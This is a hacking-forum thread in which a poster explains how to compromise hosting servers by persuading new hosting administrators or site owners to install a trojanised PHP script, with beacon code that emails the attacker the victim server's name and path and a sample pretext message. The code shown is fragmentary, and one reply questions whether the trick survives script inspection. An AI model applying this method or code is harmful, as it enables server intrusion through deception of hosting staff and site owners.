Thread: [\[Private\] Site targeting reverse engineering](#)

Mr8n - March 22, 2018, 2:41 pm

private coming ?

I tried to hack a site and did not find exploits ??

Today we have an idea

The idea is to inject the script

I have created a code in upload file + an email notification code

PHP Code

```
<?php
```

```
$ms = $_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];
```

```
$sub = "Victim (; " . $ms;
```

```
$ee = 'e-mail@gmail.com';
```

```
$send = @mail($ee,$sub,$ms);
```

change the email to your email

And now the most important step

Convince a hosting company administrator

Example :

PHP Code

```
<?php
```

Hi, I want to open a site in your hosting and I want to install a script.

I have had many problems with other hosting because the script did not work in hosting

Does the script work in your server ? If the answer is yes

I want to host my site after confirmation,

The text of the previous message goes back to your persuasive style

After completing the correspondence

Wait and 99% the response will be positive ?

When the script is placed on the site, the notification will be sent by e-mail

Then exploit the script

And hack the server

Note :

Often, the script will be uploaded to the demo folder

For the script you inject, you must have an unknown script

If I told him the script, or the WordPress version, surely he will have a copy of these famous scripts

The script should be uploaded through a popular upload site

Thanks ?

That is an interesting method, what if a website administrator decides to inspect the script and proceeds to notice that it's allowing uploads and emails the you back what then? Also have you ever contacted a hosting company with such a request? If so who and what was their response? If you contacted a site who and what was their response?

If you decide to send a popular forum script.

He will certainly have a copy of this script.

And of course the famous hosts will not be fooled.

The idea is that you fool new hosts, they need money and customers

I was use translate google with this post

Well I dunno about everyone else, but I closely inspect scripts, if I see obfuscation I de-obfuscate. I am sure that for example they probably have yara rules to quickly check the scripts at the very least. Like have you seen hosting providers do this and it's not just theory?

So far this method works

hostings are increasing in a random way with no experience, until now I use them

Even in deceiving the owner of the site

You can email the site owner as seo script
